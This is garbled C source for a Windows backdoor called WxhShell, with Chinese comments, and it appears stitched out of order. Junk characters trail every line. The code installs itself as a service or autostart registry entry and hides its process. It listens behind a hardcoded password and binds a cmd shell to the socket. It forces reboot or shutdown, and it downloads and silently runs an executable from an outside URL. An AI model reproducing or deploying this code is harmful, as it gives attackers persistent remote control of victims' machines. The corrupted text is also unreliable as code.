    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iv!;gMco  
    else { +X%pUe  
    closesocket(wsh);  l;;,[xhq  
    ExitThread(0); UuKW`(?^  
    } /4I9Elr  
    break; V3S"LJ  
    } uQhI)  
  // 获取shell `uwSxt  
  case 's': { =L\&} kzB  
    CmdShell(wsh); 49o/S2b4z  
    closesocket(wsh); ul-O3]\'@  
    ExitThread(0); /$\N_`bM  
    break; /Moyn"Kj{  
  } v)j3YhY  
  // 退出 H'"=C&D~  
  case 'x': { `_iK`^(-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >qy$W4  
    CloseIt(wsh); j'uzjs[  
    break; ]\1H=g%Ou  
    } cy64xR BB  
  // 离开 Qef5eih  
  case 'q': { M7fPaJKL  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); IKrojK8-?  
    closesocket(wsh); {1"kZL  
    WSACleanup(); u0Bz]Ux/Q  
    exit(1); pzT,fmfk  
    break; K_Pbzj4(P  
        } csFLBP  
  } %N #A1   
  } 7](aPm8  
:IX_|8e ^  
  // 提示信息 ^\oMsU5(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); < ZG!w^  
} {^.q6,l  
  } \IhHbcF`d  
-]Ny-[P  
  return; yJ:rry  
} F Jp<J  
7\AoMk}  
// shell模块句柄 m;J'y2h =$  
int CmdShell(SOCKET sock) vkLKzsN' ]  
{ 6{w'q&LYcE  
STARTUPINFO si; \;+TZ1i_  
ZeroMemory(&si,sizeof(si)); Z817f]l  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N^{}Qvrr  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _oHxpeM  
PROCESS_INFORMATION ProcessInfo; P\y ZcL  
char cmdline[]="cmd"; 0Of6$`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V)fF|E~0  
  return 0; GP(nb,  
} 65vsQ|Zw  
7*kTu0m  
// 自身启动模式 7sU+:a  
int StartFromService(void) N(kSE^skOa  
{ 9T\\hM)k  
typedef struct {wl7&25  
{ kp Rk.Q*  
  DWORD ExitStatus; )43z(:<  
  DWORD PebBaseAddress; 3F8K F`*  
  DWORD AffinityMask; }ww`Y&#  
  DWORD BasePriority; 19:1n]*X<  
  ULONG UniqueProcessId; ?jU 3%"  
  ULONG InheritedFromUniqueProcessId; dG!)<  
}   PROCESS_BASIC_INFORMATION; dbg%n 0h  
.:t&LC][  
PROCNTQSIP NtQueryInformationProcess; R_=fH\c;  
v\g1 w&PN  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; EeQ2\'t  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; CHVAs9mrNB  
[4Q;5 'Dj  
  HANDLE             hProcess; OGcW]i  
  PROCESS_BASIC_INFORMATION pbi; BQ=JZ4&  
t:P]G>)x|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f.c2AY~5[  
  if(NULL == hInst ) return 0; B@ >t$jK  
A>f rf[fAW  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *|^|| bd  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); RS|*3 $1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `Bb32L   
xS;tmc  
  if (!NtQueryInformationProcess) return 0; Z6nQW53-  
FP")$ ,=s  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Q?bC'147O  
  if(!hProcess) return 0; ltv ~Kh  
ctPT=i60  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &"=O!t2  
/ <+F/R'=O  
  CloseHandle(hProcess); }&]T0U`@  
`[h&Q0Du6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {Q)sR*d  
if(hProcess==NULL) return 0; W!|l_/L'   
sT,*<^  
HMODULE hMod; ";upu  
char procName[255]; xg4wtfAbS  
unsigned long cbNeeded; )Wk&c8|y  
?weuq"*a  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Of-8n-  
EgRuB@lw76  
  CloseHandle(hProcess); Rsx?8Y^5  
8g?2( MT;  
if(strstr(procName,"services")) return 1; // 以服务启动 Y}h&dAr  
39x 4(  
  return 0; // 注册表启动 %6x3 G  
} OX}ZdM!&f  
V"T5<HA9  
// 主模块 w6ck wn,  
int StartWxhshell(LPSTR lpCmdLine) 4 g8t  
{ EL6<%~,V"I  
  SOCKET wsl; _`Dz%(c  
BOOL val=TRUE; \SBAk h  
  int port=0; `69xR[f  
  struct sockaddr_in door; u~!Pzz3"  
\Hu?K\SWs  
  if(wscfg.ws_autoins) Install(); bV:MOj^  
}vZTiuzC  
port=atoi(lpCmdLine); KDr)'gl&  
16"L;r  
if(port<=0) port=wscfg.ws_port; k;<F33v;Mh  
xv7nChB  
  WSADATA data; XvZ5Q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; wsj5;(f+  
)o;n2T#O  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =%{E^z>1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); SJlL!<i$  
  door.sin_family = AF_INET; =kw6<!R  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;I>77gi`]  
  door.sin_port = htons(port); d 1 O+qS  
:eBp`dmn  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \wp8kSzC  
closesocket(wsl); }7i}dyQv}  
return 1; k~]\kv=  
} w69G6G(  
lgC^32y  
  if(listen(wsl,2) == INVALID_SOCKET) { n*hRlL  
closesocket(wsl); 7H. HiyppW  
return 1; 6W'2w?qj?4  
} 85](,YYz  
  Wxhshell(wsl); ze uSk| O  
  WSACleanup(); h[]3#  
lAAPV  
return 0; ^3nB2G.ax  
\V*E:_w*  
} mnH1-}oL  
>+S* Wtm5  
// 以NT服务方式启动 % %QAC4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) u]<`y6=&C  
{ tp b(.`G  
DWORD   status = 0; c#pVN](?  
  DWORD   specificError = 0xfffffff; gWy2E;"a  
[jF\"#A  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $I a-go2W  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^Y^5 @ x=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; NTSKmCvQG  
  serviceStatus.dwWin32ExitCode     = 0; HgRfMiC  
  serviceStatus.dwServiceSpecificExitCode = 0; ]2xoeNF/W{  
  serviceStatus.dwCheckPoint       = 0; BtP*R,>  
  serviceStatus.dwWaitHint       = 0; [,qb) &_  
DO? bJ01  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =e]Wt/AQ  
  if (hServiceStatusHandle==0) return; 1F?ylZ|~  
8;P_KRaE  
status = GetLastError(); _1?Fy u&<5  
  if (status!=NO_ERROR) mGUl/.;yp-  
{ r<.*:]L  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =_d-MJy~6  
    serviceStatus.dwCheckPoint       = 0; C5oIl_t  
    serviceStatus.dwWaitHint       = 0; :w4I+* ]  
    serviceStatus.dwWin32ExitCode     = status; =Y5*J#  
    serviceStatus.dwServiceSpecificExitCode = specificError; .w)T2(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Jm}zit:o  
    return; @_Ly^' "  
  } Ox f,2r  
h_h6@/1l  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0"M0tA#  
  serviceStatus.dwCheckPoint       = 0; e7gWz~  
  serviceStatus.dwWaitHint       = 0; b"z9Dpv  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1H,hw  
} P C  
2n5{H fpY  
// 处理NT服务事件,比如:启动、停止 :6Sb3w5h  
VOID WINAPI NTServiceHandler(DWORD fdwControl) U_e e3KKA  
{ p%*! ]JRS  
switch(fdwControl) |y7#D9m  
{ %LZf= `:(  
case SERVICE_CONTROL_STOP: d:=:l?  
  serviceStatus.dwWin32ExitCode = 0;  ?ik6kWI  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; x20sB  
  serviceStatus.dwCheckPoint   = 0; oNBYJ]t  
  serviceStatus.dwWaitHint     = 0; # FV`*G  
  { %GDs/9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Gnmxp%&}P|  
  } dDla?)F  
  return; w~=@+U$f  
case SERVICE_CONTROL_PAUSE: t2vo;,^euL  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Ic&Jhw;]z  
  break; #-u?+Nk/  
case SERVICE_CONTROL_CONTINUE: @g'SH:}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @y`7csb p  
  break; =9vmRh? 8  
case SERVICE_CONTROL_INTERROGATE: ~0@+8%^>;  
  break; x kebel`%  
}; g3uI1]QXLg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); EYF]&+ 9  
} kT6EHuB  
%j?<v@y  
// 标准应用程序主函数 a=3{UEi'o  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (1b%);L7  
{ R?[KK<sWWe  
c{t(),nAA  
// 获取操作系统版本  ~WG#Zci-  
OsIsNt=GetOsVer(); p![CH  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Y+I`XeY  
ssC5YtF7X  
  // 从命令行安装 tmI2BBv  
  if(strpbrk(lpCmdLine,"iI")) Install(); goV[C]|  
l~Sn`%PgA  
  // 下载执行文件 sGD b<  
if(wscfg.ws_downexe) { Qf]ACN  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) SpUcrK;1  
  WinExec(wscfg.ws_filenam,SW_HIDE); JMq00_  
} Px))O&w{  
A">A@`}  
if(!OsIsNt) { L3- tD67oa  
// 如果时win9x,隐藏进程并且设置为注册表启动 :S5B3S@|  
HideProc(); D;al(q  
StartWxhshell(lpCmdLine); vMOit,{  
} jVpk) ;vC  
else _'E,g@  
  if(StartFromService()) ` `R;x  
  // 以服务方式启动 {?9s~{Dl  
  StartServiceCtrlDispatcher(DispatchTable); 0BTLIV$d;  
else Tfl4MDZb  
  // 普通方式启动 7)Rx-  
  StartWxhshell(lpCmdLine); Y-WY Q{  
+}@HtjM  
return 0; hOSkxdi*^  
} (9J,Qs[;  
Y@Kp'+t(!  
m ,U`hPJ  
@"#W\m8  
=========================================== 6"W~%FSJX  
43Yav+G(+  
'L2M  W  
}$ Am;%?p  
:d<;h:^_  
217KJ~)'  
" $h-5PwHp  
bG0t7~!{E  
#include <stdio.h> #`mo5  
#include <string.h> pc w^W  
#include <windows.h> |mfQmFF  
#include <winsock2.h> "3v[\M3  
#include <winsvc.h> :,=no>mMx  
#include <urlmon.h> v&B*InR?+  
/0mbG!Ac  
#pragma comment (lib, "Ws2_32.lib") +BRmqJ3  
#pragma comment (lib, "urlmon.lib") ccJ@jpXI  
x.+}-(`W#~  
#define MAX_USER   100 // 最大客户端连接数 #is:6Z,OEU  
#define BUF_SOCK   200 // sock buffer 8uX1('+T*  
#define KEY_BUFF   255 // 输入 buffer B;?"R  
 (Ia}]q  
#define REBOOT     0   // 重启 iG*/m><-  
#define SHUTDOWN   1   // 关机 r c7"sIkV  
qlSc[nEk  
#define DEF_PORT   5000 // 监听端口 q@p-)+D;  
! \H!9FR  
#define REG_LEN     16   // 注册表键长度 _e=R[  
#define SVC_LEN     80   // NT服务名长度 tw]RH(g+#  
cRX0i;zag  
// 从dll定义API d"|XN{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); oO|zRK1;/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); gaC^<\J  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _1`*&k JL~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Z2WAVSw  
_{o=I?+]  
// wxhshell配置信息 N(@'L43$V  
struct WSCFG { Dm6}$v'0  
  int ws_port;         // 监听端口 tqE LF  
  char ws_passstr[REG_LEN]; // 口令 Dqe/n_Z  
  int ws_autoins;       // 安装标记, 1=yes 0=no W$0<a@  
  char ws_regname[REG_LEN]; // 注册表键名 fi%u]  
  char ws_svcname[REG_LEN]; // 服务名 6v0^'}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 OZ1+`4 v  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -tSWYp{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (KHTgZ6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9/MUzt  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `av8|;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8ltHR]v  
AyKaazm]9  
}; #{GUu ',?&  
n< [np;\  
// default Wxhshell configuration uRQm.8b  
struct WSCFG wscfg={DEF_PORT, U%ce0z  
    "xuhuanlingzhe", 5DfAL;o!  
    1, <$n%h/2%  
    "Wxhshell", WJZW5 Xt  
    "Wxhshell", mk1;22o{TX  
            "WxhShell Service", H>e?FDs0*R  
    "Wrsky Windows CmdShell Service", })Rmu."\  
    "Please Input Your Password: ", Roy0?6O  
  1, O k_I}X  
  "http://www.wrsky.com/wxhshell.exe", EW$ Je  
  "Wxhshell.exe" =8j;!7 p  
    }; pc5-'; n  
TdP_L/>|J  
// 消息定义模块 E) >~0jv  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +}X?+Epm  
char *msg_ws_prompt="\n\r? for help\n\r#>"; r+0"1\f3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ( =->rP  
char *msg_ws_ext="\n\rExit."; PEoO s  
char *msg_ws_end="\n\rQuit."; !J[3U   
char *msg_ws_boot="\n\rReboot..."; cU5x8[2  
char *msg_ws_poff="\n\rShutdown..."; ~ @Ib:M  
char *msg_ws_down="\n\rSave to "; Bm%:Qc*  
xmTa$tR+  
char *msg_ws_err="\n\rErr!"; N<:5 r  
char *msg_ws_ok="\n\rOK!"; *J?QXsg  
mUzNrkG(G  
char ExeFile[MAX_PATH]; 7[QU *1bk  
int nUser = 0; __$IbF5  
HANDLE handles[MAX_USER]; =A<kDxqH  
int OsIsNt; &TSt/b/+W  
-[v:1\Vv  
SERVICE_STATUS       serviceStatus; Y*3qH]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;'dw`)~jQ  
X(1nAeQ  
// 函数声明 s'ntf  
int Install(void); T.!GEUQ  
int Uninstall(void); M'W@K  
int DownloadFile(char *sURL, SOCKET wsh); Q$W0>bUP  
int Boot(int flag); LDW":k|  
void HideProc(void); A7 .C  
int GetOsVer(void); t qbS!r  
int Wxhshell(SOCKET wsl); =lS~2C  
void TalkWithClient(void *cs); 0[xum  
int CmdShell(SOCKET sock); bP6QF1L  
int StartFromService(void); 4>{q("r,  
int StartWxhshell(LPSTR lpCmdLine); $.cNY+  k  
[Ym?"YwVX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 42:\1B#[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ? 8S0  
B>t$Z5Q^X  
// 数据结构和表定义 <[?oP[ j  
SERVICE_TABLE_ENTRY DispatchTable[] = 9C$b^wHd  
{ 8=T;R&U^M  
{wscfg.ws_svcname, NTServiceMain}, pQ*9)C   
{NULL, NULL} U#+S9jWe  
}; WhSQ>h!@s  
0X`Qt[  
// 自我安装 ss%ahs  
int Install(void) CY0|.x  
{ $B*Ek>EK  
  char svExeFile[MAX_PATH]; RqXcL,,9  
  HKEY key; vd SV6p.d  
  strcpy(svExeFile,ExeFile); 4<70mUnt  
5P -IZ8~$  
// 如果是win9x系统,修改注册表设为自启动 De4UGX  
if(!OsIsNt) { IQoz8!guh:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 85m[^WGyh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v@LK3S/!3  
  RegCloseKey(key); $/5Jc[Ow  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y VUA7IY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `z-4OJ8~  
  RegCloseKey(key); 7NMQUN7k '  
  return 0; 2K!3+D"  
    } 8Cs)_bj#!  
  } q0.+F4  
}  ^P~%^?(  
else { gf2l19aP  
@YMef `T:  
// 如果是NT以上系统,安装为系统服务 nu}$wLM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); PNd]Xmv)  
if (schSCManager!=0) CwTx7 ^qa  
{ <O?iJ=$  
  SC_HANDLE schService = CreateService ZBcZG  
  ( 26yv w  
  schSCManager, @ _U]U  
  wscfg.ws_svcname, MJV)| 2C  
  wscfg.ws_svcdisp, Iujly f  
  SERVICE_ALL_ACCESS, .rD@Q{e50  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , jB:$+k|~.  
  SERVICE_AUTO_START, *&+e2itmp  
  SERVICE_ERROR_NORMAL, 5iz]3]}%  
  svExeFile, IBcCbNs!  
  NULL, |zKe*H/  
  NULL, 4Ucg<Z&%  
  NULL, g6IG>)  
  NULL, S WVeUL#5  
  NULL =2\k Jv3  
  ); nY'0*:'u  
  if (schService!=0) 1<fS&)^W  
  { y!6B Gz  
  CloseServiceHandle(schService); \$/)o1SG  
  CloseServiceHandle(schSCManager); x:88E78  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7;#9\a:R?  
  strcat(svExeFile,wscfg.ws_svcname); {x W? v;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $}jp=?,t  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7$<.I#x  
  RegCloseKey(key); wXMKQ)$(  
  return 0; KF|+# qCN  
    } n&D<l '4  
  } U>IllNd  
  CloseServiceHandle(schSCManager); !Sy._NE`z  
} _Buwz_[&  
} \acJ9N  
dD?1te  
return 1; ';hU&D;s  
} lt|\$Iy(  
o=_:g >5  
// 自我卸载 T,@.RF  
int Uninstall(void) 68Vn]mr#  
{ }7RR",w  
  HKEY key; [pUw(KV2m  
& 1p\.Y  
if(!OsIsNt) { Ds9pXgU( Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L)a8W   
  RegDeleteValue(key,wscfg.ws_regname); OKNA36cU'  
  RegCloseKey(key); h=.|!u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nW3-)Q89  
  RegDeleteValue(key,wscfg.ws_regname); yMq&9R9F  
  RegCloseKey(key); 8V>j-C  
  return 0; .mn`/4  
  } NKvBNf|D  
} \{t#V ~  
} a*$to/^r  
else { mv O!Y  
<{bQl L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )XmV3.rI  
if (schSCManager!=0) }&I\a  
{ ]>E*s3h  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); nT..+ J)  
  if (schService!=0) 9W:oo:dK F  
  { _T&?H&#  
  if(DeleteService(schService)!=0) { SUINV_>7  
  CloseServiceHandle(schService); _G|hKk^,  
  CloseServiceHandle(schSCManager); 6v (}<2~  
  return 0; 9 [v=`  
  } X^ckTIdR  
  CloseServiceHandle(schService); 8W#/=Xh?  
  } dqnH7okZ  
  CloseServiceHandle(schSCManager); y  >r7(qg  
} n$ $^(-g@)  
} ns[v.YDL  
{a\O7$A\F  
return 1; 5ppOG_  
} |iKk'Rta4  
(9% ki$=}+  
// 从指定url下载文件 bXF>{%(}E  
int DownloadFile(char *sURL, SOCKET wsh) %@#+Xpa+  
{ ^hzlR[  
  HRESULT hr; U`N|pPe:w  
char seps[]= "/"; AD#]PSB  
char *token; !O6e,l  
char *file; '9c`[^  
char myURL[MAX_PATH]; GL[#XB>n  
char myFILE[MAX_PATH]; 4z#{nZG  
3sIW4Cs7)U  
strcpy(myURL,sURL); p4C w#)BaS  
  token=strtok(myURL,seps); ZQXv-"  
  while(token!=NULL) u?5 d%]*  
  { R''nZ/R  
    file=token; ) DXN|<A  
  token=strtok(NULL,seps); 0]4kR8R3[  
  } %tul(Z~<1  
[Oen{c9 A  
GetCurrentDirectory(MAX_PATH,myFILE); 0B fqEAl  
strcat(myFILE, "\\"); o(w!x!["  
strcat(myFILE, file); k4fc 5P  
  send(wsh,myFILE,strlen(myFILE),0); ~T@t7Cg  
send(wsh,"...",3,0); BZejqDr*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |z\5Ik!fF]  
  if(hr==S_OK) |x@)%QeC  
return 0; 7[h_"@_A7  
else XK??5'&{  
return 1; IROX]f}r(  
;Pf |\q  
} sd9$4k"  
i!+D ,O  
// 系统电源模块 F1)B-wW  
int Boot(int flag) vQ/}E@?u  
{ yI/2 e[  
  HANDLE hToken; nlmc/1C  
  TOKEN_PRIVILEGES tkp; *vt5dxB  
B!-hcn]y  
  if(OsIsNt) { E9z^#@s  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =y -L'z&r  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); M4 SJnE  
    tkp.PrivilegeCount = 1; rCfr&>nn  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <6QG7 i  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); uMVM-(g%  
if(flag==REBOOT) { %|E'cdvkX  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _Z?{&k  
  return 0; `q|&;wP.  
} mAMi-9  
else { VeiJ1=hc  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) JLUG=x(dA  
  return 0; Py7!_TX  
} t\~lGG-p  
  } i)9}+M 5  
  else { pYZ6-s  
if(flag==REBOOT) { QR4rQu  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :W]?6=  
  return 0; M2HO!btf  
} ALvj)I`Al  
else { d]1%/$v^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2{;&c  
  return 0; J$6h% Eyo  
} AQ n>K{M  
} :*bv(~FW  
%x@ D i`;  
return 1; >dKK [E/[d  
} dv=y,q@W  
%pj 6[x`@  
// win9x进程隐藏模块 PN9^ sLx=  
void HideProc(void) r@N 0%JZZ  
{ j !^Tw.Ty  
{Hncm  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -c-af%xD  
  if ( hKernel != NULL ) .K`OEdr<  
  { wKF #8Y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [-o`^;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Gr9/@U+  
    FreeLibrary(hKernel); vSty.:bY\p  
  } X"WKgC g$  
}L Q9db1  
return; /2}o:vLj  
} Q#C;4)e  
?#8',:  
// 获取操作系统版本 r~cmrLQa  
int GetOsVer(void) Y g>W.wA  
{ &y` MDyXz  
  OSVERSIONINFO winfo; ' >(])Oq,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Y `4AML  
  GetVersionEx(&winfo); 1'ne[@i^/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) s X&.8  
  return 1; 0dS}p d">k  
  else tHNvb\MR$  
  return 0; jVP70c  
} *hVbjI$  
QZy+`  
// 客户端句柄模块 |GuIp8~  
int Wxhshell(SOCKET wsl) RmS|X"zc  
{ Z(Da?6#1  
  SOCKET wsh; +pYrAqmO-  
  struct sockaddr_in client; sYV7t*l  
  DWORD myID; []HMUL]"  
5.gM]si  
  while(nUser<MAX_USER) u] C/RDTH  
{ TymE(,1  
  int nSize=sizeof(client); hUirvDvX  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); q6A!xQs<  
  if(wsh==INVALID_SOCKET) return 1; 9pPb]v,6  
>55c{|"@L  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _;mN1Te  
if(handles[nUser]==0) O%)@> 5#S  
  closesocket(wsh); RjS;Ck@;  
else }~P%S(zB  
  nUser++; fDc>E+,  
  } .qVz rS  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); OJd!g/V  
p.KX[I  
  return 0; ^l1tQnj)7  
} =H*}{'#  
F#=XJYG1  
// 关闭 socket t~pA2?9@  
void CloseIt(SOCKET wsh) {MmHR  
{ O v3W;jD  
closesocket(wsh); 9k\`3SE  
nUser--; =! v.VF\;  
ExitThread(0); O+;0|4V%  
} *S_e:^  
hoxn!x$?  
// 客户端请求句柄 {zoUU  
void TalkWithClient(void *cs) &tY3nr  
{ _`lj 3Lm0>  
u2HkAPhD  
  SOCKET wsh=(SOCKET)cs; pAS!;t=n,  
  char pwd[SVC_LEN]; 9 x WC<i  
  char cmd[KEY_BUFF]; KDwz!:ye  
char chr[1]; htc& !m  
int i,j; \RN,i]c-g/  
-_=0PW5{  
  while (nUser < MAX_USER) { MLg<YL  
pT]M]/y/:  
if(wscfg.ws_passstr) { L(!4e  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iO=xx|d  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fr'M)ox1  
  //ZeroMemory(pwd,KEY_BUFF); s vn[c*  
      i=0; {#q']YDe`  
  while(i<SVC_LEN) { 4GJ1P2  
tB.;T0n  
  // 设置超时 a2W}Wb+  
  fd_set FdRead; Z4FyuWc3  
  struct timeval TimeOut; cT{iMgdI?  
  FD_ZERO(&FdRead); AoHA+>&U  
  FD_SET(wsh,&FdRead); d7N;F a3yL  
  TimeOut.tv_sec=8; Du3OmXMk  
  TimeOut.tv_usec=0; 'G6TSl  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  [+$l/dag  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Z:f0>  
Z&8 7Aj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GF~^-5  
  pwd=chr[0]; ?7-#iC`  
  if(chr[0]==0xd || chr[0]==0xa) { pM~Xh ]/  
  pwd=0; 4mOw[}@A  
  break; \C.%S +u  
  } 1A^iUC5)  
  i++; i} 96, {  
    } .lu:S;JSnS  
Rde_I`Ru  
  // 如果是非法用户,关闭 socket >4TJH lB}8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); FzmCS@yA  
}  k*|dX.C:  
Rs B o\#`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); EQPZV K/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  iU^ 4a  
Okk[}G)  
while(1) { |)6(_7e9  
Pg[zRRf<  
  ZeroMemory(cmd,KEY_BUFF); QiWv  
1!8*mk_R{  
      // 自动支持客户端 telnet标准   20m6-rkI<}  
  j=0; P Y +~,T2  
  while(j<KEY_BUFF) { O<4i)Lx2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2>Kq)Ii  
  cmd[j]=chr[0]; 1_:1cF{w  
  if(chr[0]==0xa || chr[0]==0xd) { UwtOlV:G{  
  cmd[j]=0; Ku LZg  
  break; wo2^,Y2z+  
  } g$VcT\X  
  j++; cJA0$)JP&  
    } x( w <U1  
O%9Cq}*  
  // 下载文件 'R*gSqx~  
  if(strstr(cmd,"http://")) { ($(6]?J(?7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); T(+F6d=1  
  if(DownloadFile(cmd,wsh)) V5rnI\:7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^7q=E@[e  
  else !mBsDn(J  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X[k-J\  
  } rP ;~<IxEr  
  else { IcL3.(!]l  
Wy#`*h,  
    switch(cmd[0]) { 1W~-C B>  
  IZ')1  
  // 帮助 "b%hAdR  
